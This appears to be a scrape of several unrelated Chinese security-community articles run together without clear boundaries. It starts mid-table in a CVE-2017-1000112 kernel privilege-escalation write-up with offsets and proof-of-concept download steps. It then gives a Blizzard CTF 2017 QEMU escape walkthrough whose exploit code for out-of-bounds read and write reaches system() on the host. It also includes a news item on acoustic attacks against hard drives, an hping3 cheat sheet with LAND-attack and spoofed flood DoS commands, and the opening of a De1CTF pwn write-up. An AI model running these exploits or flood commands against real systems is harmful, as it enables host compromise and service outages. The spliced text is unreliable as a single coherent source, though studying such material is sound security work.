{ “trusty”, “4.4.0-81-generic”, 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },
{ “trusty”, “4.4.0-83-generic”, 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
{ “xenial”, “4.4.0-81-generic”, 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 },
{ “xenial”, “4.8.0-34-generic”, 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
{ “xenial”, “4.8.0-36-generic”, 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
{ “xenial”, “4.8.0-39-generic”, 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
@@ -326,7 +327,8 @@
strncmp("4.4.0", kernels[kernel].version, 5) == 0)
return get_kernel_addr_trusty(syslog, size);
if (strcmp(“xenial”, kernels[kernel].distro) == 0 &&
strncmp(“4.8.0”, kernels[kernel].version, 5) == 0)
(strncmp(“4.4.0”, kernels[kernel].version, 5) == 0) ||
(strncmp(“4.8.0”, kernels[kernel].version, 5) == 0))
return get_kernel_addr_xenial(syslog, size);
printf(“[-] KASLR bypass only tested on trusty 4.4.0- and xenial 4-8-0-“);`
## 部署修复补丁
wget https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-1000112/poc.c
patch < 4.4.0.81.patch
gcc poc.c -o updatedpoc
##
## 内核调试
在目标设备中，我们已经使用调试符号成功下载了测试内核，接下来为了保证完整性，我们还需要下载内核源码：
wget http://archive.ubuntu.com/ubuntu/pool/main/l/linux/linux-source-4.4.0_4.4.0-81.104_all.deb
dpkg -i linux-source-4.4.0_4.4.0-81.104_all.deb
源代码将会以压缩文件的形式安装在目录/usr/src/linux-source-4.4.0-81中：
/usr/src/linux-source-4.4.0/linux-source-4.4.0.tar.bz2
提取出源文件之后，它将会存储在目录/usr/src/linux-source-4.4.0/linux-source-4.4.0之中：
tar xvjf linux-source-4.4.0.tar.bz2
## GDB
sudo apt install gdb
安装pwndbg：【[下载地址](https://github.com/pwndbg/pwndbg)】
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
开启GDB，配置源地址，然后连接到目标设备：
gdb /usr/lib/debug/boot/vmlinux-4.4.0-81-generic
set substitute-path /build/linux-cs3yMe/linux-4.4.0/ /usr/src/linux-source-4.4.0/linux-source-4.4.0/
target remote 192.168.81.1:8864
### 断点使用：
break __ip_append_data
break __ip_flush_pending_frames
break skb_release_all
第一个断点设在 **ip_append_data上，我们可以从中了解到内存崩溃的具体情况：**
**
第二个断点设在** ip_append_data：
开启__ip_flush_pending_frames的断点：
开启skb_release_all上的断点：
在break at
skb_release_all，我们可以看到内存崩溃的发生情况，这里在用户模式的ROP链调用了skb_shared_info->destructor_arg。在上述代码中，我们也可以看到skb的地址0xffff880039161400（针对skb_release_all的调用）：
在skb_release_data中，针对ROP链起始位置的间接引用开始于地址0xffffffff81720a12，ROP链开始于地址0xffffffff81720a1f。
最终我们得到了内存中的ROP链：
## Linux发行版
### 要求
在满足下列情况的条件下，任何非特权用户都可以利用该漏洞来实施攻击：
用户可以设置一个接口，开启UFO并设置MTU < 65535。
用户可以禁用NETIF_F_UFO接口功能，或设置SO_NO_CHECK套接字选项。前者要求CAP_NET_ADMIN，后者只适用于2016年1月11日之后的版本（”udp:
禁用UFO ）的SO_NO_CHECK选项”）。
理论上来说，如果非特权用户域名空间可使用的话，任何非特权用户都可以利用该漏洞来实施攻击。
### 检查udp-framentation-offload的状态
回环：
ethtool -k lo |grep udp
udp-fragmentation-offload: on
ens33：
ethtool -k ens33 |grep udp
udp-fragmentation-offload: off [fixed]
### Ubuntu
默认配置下，Ubuntu支持用户域名空间：
https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-1000112.html
### 数据包
Source: linux (LP Ubuntu Debian)
Upstream: 已发布(4.13~rc5)
Ubuntu 12.04 ESM (Precise Pangolin): 忽略(不支持用户域名空间)
Ubuntu 14.04 LTS (Trusty Tahr): 已发布(3.13.0-128.177)
Ubuntu 16.04 LTS (Xenial Xerus): 已发布(4.4.0-91.114)
Ubuntu 17.04 (Zesty Zapus): 已发布(4.10.0-32.36)
Ubuntu 17.10 (Artful Aardvark): 不受影响 (4.12.0-11.12)
Ubuntu 18.04 LTS (Bionic Beaver): 不受影响 (4.13.0-16.19)
RHEL/CentOS
Centos的内核同样存在漏洞，但是默认配置下该漏洞并不允许攻击者在用户空间下进行非法操作【[漏洞详情](https://access.redhat.com/security/cve/CVE-2017-1000112)】。
CentOS 7-<https://access.redhat.com/errata/RHSA-2017:2930>
kernel-3.10.0-693.5.2.el7.x86_64.rpm
CentOS 6-<https://access.redhat.com/errata/RHSA-2017:3200>
kernel-2.6.32-696.16.1.el6.x86_64.rpm
我已经在CentOS 7（kernel 3.10.0-693.el7.x86_64）上测试成功了，但是我们需要手动调低回环适配器的MTU：
/sbin/ifconfig lo mtu 1500
### 偏移量：
{ "cent7", "3.10.0-693.el7.x86_64", 0xb7670, 0xb7980, 0x8a, 0x39337a, 0x650ca, 0x19bf0, 0x32d41a, 0x11e843, 0x7c6b3, 0x4b8f7, 0x63210, 0x6bab33 }
## 参考资料
<https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c>
<https://securingtomorrow.mcafee.com/mcafee-labs/linux-kernel-vulnerability-can-lead-to-privilege-escalation-analyzing-cve-2017-1000112/>
<http://seclists.org/oss-sec/2017/q3/277>
<https://nvd.nist.gov/vuln/detail/CVE-2017-1000112>
<https://www.securityfocus.com/bid/100262/info>
<https://packetstormsecurity.com/files/cve/CVE-2017-1000112> | 社区文章 |
通过这题巩固了之前看的qemu的基础知识部分，包括MMIO、PMIO以及QOM编程模型等，这题的特色在于它的漏洞不是存在于MMIO中，而是PMIO中。
## 描述
题目源码的链接为[Blizzard CTF
2017](https://github.com/rcvalle/blizzardctf2017)，是qemu逃逸题，`flag`文件在宿主机中的路径为`/root/flag`。
题目的下载路径为[release](https://github.com/rcvalle/blizzardctf2017/releases)，启动的命令如下，可以把它保存到`launsh.sh`中，用`sudo
./launsh.sh`启动。
./qemu-system-x86_64 \
-m 1G \
-device strng \
-hda my-disk.img \
-hdb my-seed.img \
-nographic \
-L pc-bios/ \
-enable-kvm \
-device e1000,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::5555-:22
该虚拟机是一个`Ubuntu Server 14.04
LTS`，用户名是`ubuntu`，密码是`passw0rd`。因为它把22端口重定向到了宿主机的5555端口，所以可以使用`ssh
[email protected] -p 5555`登进去。
## 分析
`sudo ./launsh.sh`启动虚拟机，使用用户名是`ubuntu`，密码是`passw0rd`进去虚拟机。
同时将`qemu-system-x64_64`拖到IDA里面，程序较大，IDA需要个小一会才会分析完成。后续整个分析过程是通过IDA与源码对比查看完成，需要指出的是分析过程将IDA中将变量设置成其对应的结构体会容易看很多。
在IDA分析完成之前，首先看下虚拟机中的设备等信息。
ubuntu@ubuntu:~$ lspci
00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev 02)
00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03)
00:02.0 VGA compatible controller: Device 1234:1111 (rev 02)
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
00:04.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet Controller (rev 03)
通过启动命令中的`-device strng`，我们在IDA中搜索`strng`相关函数，可以看到相应的函数。
首先是设备的结构体`STRNGState`的定义：
00000000 STRNGState struc ; (sizeof=0xC10, align=0x10, mappedto_3815)
00000000 pdev PCIDevice_0 ?
000008F0 mmio MemoryRegion_0 ?
000009F0 pmio MemoryRegion_0 ?
00000AF0 addr dd ?
00000AF4 regs dd 64 dup(?)
00000BF4 db ? ; undefined
00000BF5 db ? ; undefined
00000BF6 db ? ; undefined
00000BF7 db ? ; undefined
00000BF8 srand dq ? ; offset
00000C00 rand dq ? ; offset
00000C08 rand_r dq ? ; offset
00000C10 STRNGState ends
可以看到它里面存在一个`regs`数组，大小为256（64*4），后面跟三个函数指针。
由上篇文章我们知道了`pci_strng_register_types`会注册由用户提供的`TypeInfo`，查看该函数并找到了它的`TypeInfo`，跟进去看到了`strng_class_init`以及`strng_instance_init`函数。
然后先看`strng_class_init`函数，代码如下（将变量k的类型设置为PCIDeviceClass*）：
void __fastcall strng_class_init(ObjectClass *a1, void *data)
{
PCIDeviceClass *k; // rax
k = (PCIDeviceClass *)object_class_dynamic_cast_assert(
a1,
"pci-device",
"/home/rcvalle/qemu/hw/misc/strng.c",
154,
"strng_class_init");
k->device_id = 0x11E9;
k->revision = 0x10;
k->realize = (void (*)(PCIDevice_0 *, Error_0 **))pci_strng_realize;
k->class_id = 0xFF;
k->vendor_id = 0x1234;
}
可以看到`class_init`中设置其`device_id`为`0x11e9`，`vendor_id`为`0x1234`。对应到上面`lspci`得到的信息，可以知道设备为`00:03.0`，查看其详细信息：
ubuntu@ubuntu:~$ lspci -v -s 00:03.0
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
Subsystem: Red Hat, Inc Device 1100
Physical Slot: 3
Flags: fast devsel
Memory at febf1000 (32-bit, non-prefetchable) [size=256]
I/O ports at c050 [size=8]
可以看到有MMIO地址为`0xfebf1000`，大小为256；PMIO地址为`0xc050`，总共有8个端口。
然后查看`resource`文件：
root@ubuntu:~# cat /sys/devices/pci0000\:00/0000\:00\:03.0/resource
0x00000000febf1000 0x00000000febf10ff 0x0000000000040200
0x000000000000c050 0x000000000000c057 0x0000000000040101
0x0000000000000000 0x0000000000000000 0x0000000000000000
`resource0`对应的是MMIO，而`resource1`对应的是PMIO。`resource`中数据格式是`start-address end-address flags`。
也可以查看`/proc/ioports`来查看各个设备对应的I/O端口，`/proc/iomem`查看其对应的I/O
memory地址（需要用root帐号查看，否则看不到端口或地址）：
ubuntu@ubuntu:~$ sudo cat /proc/iomem
...
febf1000-febf10ff : 0000:00:03.0
...
ubuntu@ubuntu:~$ sudo cat /proc/ioports
...
c050-c057 : 0000:00:03.0
`/sys/devices`其对应的设备下也有相应的信息，如`deviceid`和`vendorid`等：
ubuntu@ubuntu:~$ ls /sys/devices/pci0000\:00/0000\:00\:03.0
broken_parity_status enable power subsystem_device
class firmware_node remove subsystem_vendor
config irq rescan uevent
consistent_dma_mask_bits local_cpulist resource vendor
d3cold_allowed local_cpus resource0
device modalias resource1
dma_mask_bits msi_bus subsystem
ubuntu@ubuntu:~$ cat /sys/devices/pci0000\:00/0000\:00\:03.0/class
0x00ff00
ubuntu@ubuntu:~$ cat /sys/devices/pci0000\:00/0000\:00\:03.0/vendor
0x1234
ubuntu@ubuntu:~$ cat /sys/devices/pci0000\:00/0000\:00\:03.0/device
0x11e9
看完`strng_class_init`后，看`strng_instance_init`函数，该函数则是为`strng`
Object赋值了相应的函数指针值`srand`、`rand`以及`rand_r`。
然后去看`pci_strng_realize`，该函数注册了MMIO和PMIO空间，包括mmio的操作结构`strng_mmio_ops`及其大小`256`；pmio的操作结构体`strng_pmio_ops`及其大小8。
void __fastcall pci_strng_realize(STRNGState *pdev, Error_0 **errp)
{
unsigned __int64 v2; // ST08_8
v2 = __readfsqword(0x28u);
memory_region_init_io(&pdev->mmio, &pdev->pdev.qdev.parent_obj, &strng_mmio_ops, pdev, "strng-mmio", 0x100uLL);
pci_register_bar(&pdev->pdev, 0, 0, &pdev->mmio);
memory_region_init_io(&pdev->pmio, &pdev->pdev.qdev.parent_obj, &strng_pmio_ops, pdev, "strng-pmio", 8uLL);
if ( __readfsqword(0x28u) == v2 )
pci_register_bar(&pdev->pdev, 1, 1u, &pdev->pmio);
}
`strng_mmio_ops`中有访问mmio对应的`strng_mmio_read`以及`strng_mmio_write`；`strng_pmio_ops`中有访问pmio对应的`strng_pmio_read`以及`strng_pmio_write`，下面将详细分析这两部分，一般来说，设备的问题也容易出现在这两个部分。
### MMIO
#### strng_mmio_read
uint64_t __fastcall strng_mmio_read(STRNGState *opaque, hwaddr addr, unsigned int size)
{
uint64_t result; // rax
result = -1LL;
if ( size == 4 && !(addr & 3) )
result = opaque->regs[addr >> 2];
return result;
}
读入addr将其右移两位，作为`regs`的索引返回该寄存器的值。
#### strng_mmio_write
void __fastcall strng_mmio_write(STRNGState *opaque, hwaddr addr, uint32_t val, unsigned int size)
{
hwaddr i; // rsi
uint32_t v5; // ST08_4
uint32_t v6; // eax
unsigned __int64 v7; // [rsp+18h] [rbp-20h]
v7 = __readfsqword(0x28u);
if ( size == 4 && !(addr & 3) )
{
i = addr >> 2;
if ( (_DWORD)i == 1 )
{
opaque->regs[1] = opaque->rand(opaque, i, val);
}
else if ( (unsigned int)i < 1 )
{
if ( __readfsqword(0x28u) == v7 )
opaque->srand(val);
}
else
{
if ( (_DWORD)i == 3 )
{
v5 = val;
v6 = ((__int64 (__fastcall *)(uint32_t *))opaque->rand_r)(&opaque->regs[2]);
val = v5;
opaque->regs[3] = v6;
}
opaque->regs[(unsigned int)i] = val;
}
}
}
当`size`等于4时，将`addr`右移两位得到寄存器的索引`i`，并提供4个功能：
* 当`i`为0时，调用`srand`函数但并不给赋值给内存。
* 当`i`为1时，调用rand得到随机数并赋值给`regs[1]`。
* 当`i`为3时，调用`rand_r`函数，并使用`regs[2]`的地址作为参数，并最后将返回值赋值给`regs[3]`，但后续仍然会将`val`值覆盖到`regs[3]`中。
* 其余则直接将传入的`val`值赋值给`regs[i]`。
看起来似乎是`addr`可以由我们控制，可以使用`addr`来越界读写`regs`数组。即如果传入的addr大于regs的边界，那么我们就可以读写到后面的函数指针了。但是事实上是不可以的，前面已经知道了`mmio`空间大小为256，我们传入的addr是不能大于`mmio`的大小；因为pci设备内部会进行检查，而刚好`regs`的大小为256，所以我们无法通过`mmio`进行越界读写。
#### 编程访问MMIO
实现对MMIO空间的访问，比较便捷的方式就是使用`mmap`函数将设备的`resource0`文件映射到内存中，再进行相应的读写即可实现MMIO的读写，典型代码如下：
unsigned char* mmio_mem;
void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}
uint32_t mmio_read(uint32_t addr)
{
return *((uint32_t*)(mmio_mem + addr));
}
int main(int argc, char *argv[])
{
// Open and map I/O memory for the strng device
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
}
### PMIO
通过前面的分析我们知道`strng`有八个端口，端口起始地址为`0xc050`，相应的通过`strng_pmio_read`和`strng_pmio_write`去读写。
#### strng_pmio_read
uint64_t __fastcall strng_pmio_read(STRNGState *opaque, hwaddr addr, unsigned int size)
{
uint64_t result; // rax
uint32_t reg_addr; // edx
result = -1LL;
if ( size == 4 )
{
if ( addr )
{
if ( addr == 4 )
{
reg_addr = opaque->addr;
if ( !(reg_addr & 3) )
result = opaque->regs[reg_addr >> 2];
}
}
else
{
result = opaque->addr;
}
}
return result;
}
当端口地址为0时直接返回`opaque->addr`，否则将`opaque->addr`右移两位作为索引`i`，返回`regs[i]`的值，比较关注的是这个`opaque->addr`在哪里赋值，它在下面的`strng_pmio_write`中被赋值。
#### strng_pmio_write
void __fastcall strng_pmio_write(STRNGState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
uint32_t reg_addr; // eax
__int64 idx; // rax
unsigned __int64 v6; // [rsp+8h] [rbp-10h]
v6 = __readfsqword(0x28u);
if ( size == 4 )
{
if ( addr )
{
if ( addr == 4 )
{
reg_addr = opaque->addr;
if ( !(reg_addr & 3) )
{
idx = reg_addr >> 2;
if ( (_DWORD)idx == 1 )
{
opaque->regs[1] = opaque->rand(opaque, 4LL, val);
}
else if ( (unsigned int)idx < 1 )
{
if ( __readfsqword(0x28u) == v6 )
opaque->srand((unsigned int)val);
}
else if ( (_DWORD)idx == 3 )
{
opaque->regs[3] = opaque->rand_r(&opaque->regs[2], 4LL, val);
}
else
{
opaque->regs[idx] = val;
}
}
}
}
else
{
opaque->addr = val;
}
}
}
当`size`等于4时，以传入的端口地址为判断提供4个功能：
* 当端口地址为0时，直接将传入的`val`赋值给`opaque->addr`。
* 当端口地址不为0时，将`opaque->addr`右移两位得到索引`i`，分为三个功能：
* `i`为0时，执行`srand`，返回值不存储。
* `i`为1时，执行`rand`并将返回结果存储到`regs[1]`中。
* `i`为3时，调用`rand_r`并将`regs[2]`作为第一个参数，返回值存储到`regs[3]`中。
* 否则直接将`val`存储到`regs[idx]`中。
可以看到PMIO与MMIO的区别在于索引`regs`数组时，PMIO并不是由直接传入的端口地址`addr`去索引的；而是由`opaque->addr`去索引，而`opaque->addr`的赋值是我们可控的（端口地址为0时，直接将传入的`val`赋值给`opaque->addr`）。因此`regs`数组的索引可以为任意值，即可以越界读写。
越界读则是首先通过`strng_pmio_write`去设置`opaque->addr`，然后再调用`pmio_read`去越界读。
越界写则是首先通过`strng_pmio_write`去设置`opaque->addr`，然后仍然通过`pmio_write`去越界写。
#### 编程访问PMIO
[UAFIO](https://uaf.io/exploitation/2018/05/17/BlizzardCTF-2017-Strng.html)描述说有三种方式访问PMIO，这里仍给出一个比较便捷的方法去访问，即通过`IN`以及
`OUT`指令去访问。可以使用`IN`和`OUT`去读写相应字节的1、2、4字节数据（outb/inb, outw/inw,
outl/inl），函数的头文件为`<sys/io.h>`，函数的具体用法可以使用`man`手册查看。
还需要注意的是要访问相应的端口需要一定的权限，程序应使用root权限运行。对于`0x000-0x3ff`之间的端口，使用`ioperm(from, num,
turn_on)`即可；对于`0x3ff`以上的端口，则该调用执行`iopl(3)`函数去允许访问所有的端口（可使用`man ioperm` 和`man
iopl`去查看函数）。
典型代码如下：
uint32_t pmio_base=0xc050;
uint32_t pmio_write(uint32_t addr, uint32_t value)
{
outl(value,addr);
}
uint32_t pmio_read(uint32_t addr)
{
return (uint32_t)inl(addr);
}
int main(int argc, char *argv[])
{
// Open and map I/O memory for the strng device
if (iopl(3) !=0 )
die("I/O permission is not enough");
pmio_write(pmio_base+0,0);
pmio_write(pmio_base+4,1);
}
## 利用
首先是利用pmio来进行任意读写。
* 越界读：首先使用`strng_pmio_write`设置`opaque->addr`，即当`addr`为0时，传入的`val`会直接赋值给`opaque->addr`；然后再调用`strng_pmio_read`，就会去读`regs[val>>2]`的值，实现越界读，代码如下：
uint32_t pmio_arbread(uint32_t offset)
{
pmio_write(pmio_base+0,offset);
return pmio_read(pmio_base+4);
}
* 越界写：仍然是首先使用`strng_pmio_write`设置`opaque->addr`，即当`addr`为0时，传入的`val`会直接赋值给`opaque->addr`；然后调用`strng_pmio_write`，并设置`addr`为4，即会去将此次传入的`val`写入到`regs[val>>2]`中，实现越界写，代码如下：
void pmio_abwrite(uint32_t offset, uint32_t value)
{
pmio_write(pmio_base+0,offset);
pmio_write(pmio_base+4,value);
}
完整的利用过程为：
1. 使用`strng_mmio_write`将`cat /root/flag`写入到`regs[2]`开始的内存处，用于后续作为参数。
2. 使用越界读漏洞，读取`regs`数组后面的`srand`地址，根据偏移计算出`system`地址。
3. 使用越界写漏洞，覆盖`regs`数组后面的`rand_r`地址，将其覆盖为`system`地址。
4. 最后使用`strng_mmio_write`触发执行`opaque->rand_r(&opaque->regs[2])`函数，从而实现`system("cat /root/flag")`的调用，拿到flag。
### 调试
将完整流程描述了一遍以后，再说下怎么调试。
`sudo ./launsh.sh`将虚拟机跑起来以后，在本地将[exp](https://github.com/ray-cp/vm-escape/blob/master/qemu-escape/BlizzardCTF2017-Strng/exp.c)用命令`make`编译通过，`makefile`内容比较简单：
ALL:
cc -m32 -O0 -static -o exp exp.c
然后使用命令`scp -P5555 exp [email protected]:/home/ubuntu`将exp拷贝到虚拟机中。
若要调试qemu以查看相应的流程，可以使用`ps -ax|grep qemu`找到相应的进程；再`sudo gdb -attach
[pid]`上去，然后在里面下断点查看想观察的数据，示例如下：
b *strng_pmio_write
b *strng_pmio_read
b *strng_mmio_write
b *strng_pmio_read
然后再`sudo ./exp`执行exp，就可以愉快的调试了。
一个小trick，可以使用`print`加上结构体可以很方便的查看数据（如果有符号的话）：
pwndbg> print *(STRNGState*)$rdi
$1 = {
pdev = {
qdev = {
parent_obj = {
class = 0x55de43a3f2e0,
free = 0x7fc137fedba0 <g_free>,
properties = 0x55de45283c00,
ref = 0x13,
...
pwndbg> print ((STRNGState*)$rdi).regs
$3 = {0x0, 0x0, 0x1e28b6de, 0x6f6f722f, 0x6c662f74, 0x6761, 0x0 <repeats 58 times>}
最后可以看到成功的拿到了宿主机下面的flag：
leaking srandom addr: 0x7fc137211bb0
libc base: 0x7fc1371ce000
system addr: 0x7fc13721d440
leaking heap addr: 0x55de43b35ef0
parameter addr: 0x55de43b6fb6c
flag{welcome_to_the_qeme_world}
## 小结
学到了很多的东西，也看到了很多的东西要学。
相关文件和脚本[链接](https://github.com/ray-cp/vm-escape/tree/master/qemu-escape/BlizzardCTF2017-Strng)
## 参考链接
1. [Blizzard CTF 2017: Sombra True Random Number Generator (STRNG)](https://github.com/rcvalle/blizzardctf2017)
2. [BlizzardCTF 2017 - Strng](https://uaf.io/exploitation/2018/05/17/BlizzardCTF-2017-Strng.html)
3. [Blizzard CTF 2017 Strng](https://www.w0lfzhang.com/2018/11/05/Blizzard-CTF-2017-Strng/) | 社区文章 |
# 使用声波和超声波信号物理破坏你的硬盘驱动器
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
近日，密歇根大学和浙江大学的研究团队发现出一种通过使用声波和超声波信号引起硬盘驱动器物理损坏的方法。
攻击者只需通过目标计算机的内置扬声器播放超声波声音，或者使用附近的扬声器播放声音即可造成攻击。
## 原理实现
原理很简单，此攻击利用特制的声音信号在HDD组件上引起显著的震动，从而可能导致严重的损坏。
现代硬盘驱动器使用震动传感器来防止核心部分的碰撞，但研究人员已经证明声波和超声波可能导致震动传感器误报，使驱动器将核心部分停滞在错误的位置。
“我们创建并建立了一个新的反馈控制器模型，该控制器可以通过固件更新进行部署，可以减弱恶意的声学干扰。我们的传感器通过检测震动传感器的超声波信号来防止硬盘驱动器不必要的核心部分停滞“
，相关专家已经发表该论文
https://spqr.eecs.umich.edu/papers/bolton-blue-note-IEEESSP-2018.pdf
## 恶意利用
专家们已经演示了使用该技术如何在电脑桌面和CCTV（闭路电视）系统中对HDD进行真实攻击。
这些攻击者只需诱骗受害者播放电子邮件中附加的恶意声音或触发访问恶意网页。
“我们的研究案例表明，攻击者可以使用该硬盘驱动器漏洞，引发系统级的后果：例如使用内置扬声器在笔记本电脑上撞击Windows，并阻止监控系统录入视频。我们深入研究Windows和Linux操作系统的细节，以揭示I/O请求堆栈中崩溃的根本原因。”专家们继续说道。
专家们测试了来自多家供应商的各种硬盘，包括Seagate, Toshiba,和Western
Digital。这个研究发现很有意思，超声波只需要5-8秒就会造成严重的干扰。
持续时间超过105秒的声音干扰导致视频监控设备中的Western Digital HDD在振动开始时停止记录，直到设备重新启动。
“干扰时间小于105秒的录像显示从受到声诱导振动直到振动平息后，视频约丢失了12秒。相反，105秒或更长时间的干扰会导致从振动开始直到器件重新启动时全部的视频丢失。“
我们接着看相关论文。
“在这个案例中，如果受害者用户不在受到攻击的系统附近，则攻击者可以使用任何频率的声音攻击系统。系统的实时监控流无法探测到攻击。此外，受害系统不提供任何方法来学习环境中的音频。因此，如果受害系统的用户不在系统附近，攻击者可以在不被发现的情况下使用声音信号攻击。”
相关视频：
<https://youtu.be/v0yh9fG00zo>
测试表明，攻击者可以在运行Windows或Linux操作系统的台式机或便携式计算机上中断HDD。
当笔记本电脑被诱导在125秒内通过其内置扬声器播放恶意音频时，专家们能够在45秒内使Dell XPS 15 9550笔记本电脑冻结并发生故障。
## 修复建议
该论文还包括检测或防止此类攻击的建议，其中包括一个新的反馈控制器，可作为固件更新进行部署，以防止声学干扰。
针对利用声波和超声波信号的攻击的另一种对策是一种传感器融合方法，通过检测冲击传感器是否被超声触发来防止不必要的核心部分停滞。
最后一种解决方案是用噪音衰减材料来衰减信号。 | 社区文章 |
## 0x00. hping3 简介
### hping3
是一款相当杰出的发包工具，它几乎可以发送任何定制的TCP／IP数据包，这对于我们学习TCP／IP协议栈也是一种不错的选择，而且在渗透测试过程中也能扮演相当厉害的角色。
* * *
## 0x01. 常用语法
### 常规用法
> hping3 192.168.1.1
### LandAttack
> hping3 192.168.1.1 -S -a 192.168.1.1 -p 80
### DoS Attack
> hping3 192.168.1.1 -V -d 100 -S -w 64 -p 445 -s 445 **-** -flood **-**
> -rand-source
### ICMP路由追踪
> hping3 www.baidu.com -T -V -1
### 端口扫描
> hping3 192.168.1.1 -S -8 1-1024
###
* * *
## 0x02. 参数介绍
# 基础参数：
### -c 限制发送总数
### -i 发包间隔X秒，ux 微妙
> hping3 -ux100 192.168.1.1
>
> ### \--flood 利用主机最大性能发包，杀敌1000，自损800
>
> ### -I 指定网卡
>
> ### -D debug
>
> ### -z Ctrl +z 绑定TTL值，按一下TTL值加一，按两下减一
>
> ### -d 控制数据段大小
>
> ### -E 指定文件内容作为数据发送
>
> ### -e 指定特征码／数据内容
>
> hping3 192.168.1.1 -e TimeS0ng
### -T 路由探测
> hping3 www.baidu.com -T -1
# 协议选择：
### 【*】默认使用TCP协议，默认端口0，无任何flag
### -0 #rawip,默认TCP为上层协议，但无TCP头
### -H 指定IP头协议字段，只能工作在rawip模式下
> hping3 192.168.1.101 -0 -H 8
### -1 ICMP模式，发送icmp包
### -2 发送UDP包，默认端口0
### -8 scan模式，对目标端口进行扫描(-S/F/X/Y/A/R/P/U)
> hping3 192.168.1.101 -8 1-1024 -S
### -9 listen模式，此处和-e 连用可以匹配特征码
> hping3 -9 -e times0ng
# 定制IP头：
### -a 伪造源IP
### \--rand-source 随机伪造原地址
> hping3 192.168.1.1 **-** -rand-source
### \--rand-dest 随机目的地址
> hping3 -I eth0 **-** -rand-source **-** -rand-dest 192.168.1.x
### -t 指定TTL值
### -N 指定IPID，默认随机（当需要分片发送数据包时使用）
> hping3 192.168.1.1 -1 -x -d 1000 -N 100 -c 1
>
> hping3 192.168.1.1 -1 -d 200 -g 400 -N 100 -c 1
### -r 发现IPID变化规律（注意看id 字段）
### -f IP数据段每16字节分片，-m 指定具体数值
> hping3 192.168.1.1 -f -d 200 -c 1
# 定制TCP／UDP
### -s 指定源端口（第一个包会是被指定的端口，后续包的源端口会依次加一）
### -p 指定目标端口
### -w 指定window 大小（可用于进行slowhttp攻击）
### -M 指定sequence number
### -Q 发现目标机器sequence number变化规律
### -b 指定checksum
### **-** -tcp-mss 指定最大TCP段大小
### **-** -tcp-timestamp 启动时间戳选项，猜测远程UP主机时间
### [*] TCP Flag
> -F : fin 、-S : syn 、-R : rst 、 -P : push 、 -A : ack 、 -U : urg 、 -X : xmas 、
> -Y : ymas | 社区文章 |
# 详解 De1ctf 2019 pwn——unprintable
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在上周末玩的De1ctf中印象最深刻的就是Unprintable这道题。好好的一个周末全让者道题目给毁了:(。当时各种方法各种爆破一通乱试，最后都失败了。赛后在看了官方和师傅们的WP后自叹不如，果然还是太年轻了。
在仔细分析了师傅们的WP后，如沐春风，这解法也太妙(sao)了吧。从中学到了很多知识点，写一篇文章记录一下，希望和师傅们交流。
## 1\. 程序分析
程序很简单，读入到bss段，格式化字符串漏洞，然后调用exit(0)退出。关闭了stdout，所以没有办法泄露。
## 2\. 利用思路
利用exit中的_dl_fini函数控制程序流程。改返回地址制造printf_loop产生任意写。构造ROP链getshell。
看似步骤非常简单，但是每一步都十分巧妙，下面分布介绍。
### 2.1 _dl_fini
第一步师傅们的思路都是一样的，利用_dl_fini中的一处call：
<_dl_fini+777>: mov r12,QWORD PTR [rax+0x8]
<_dl_fini+781>: mov rax,QWORD PTR [rbx+0x120]
<_dl_fini+788>: add r12,QWORD PTR [rbx]
<_dl_fini+819>: call QWORD PTR [r12+rdx*8]
题目中有格式化字符串漏洞，而输入的数据又不在栈上，这时就自然而然的想到了要利用栈上已有的数据。当程序运行到printf的时候栈上的数据为：
其实从颜色也能看出来有一处比较特殊，是因为它指向了ld.so区域：
巧妙的是，在之后的exit(0)中，有一处函数调用所依赖的关键就是这个指针。
我通过源码调试调试到这个位置想看看这个漏洞产生的原因：
这个地方的源代码是：
/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) (); //漏洞产生点，调用函数数组。
}
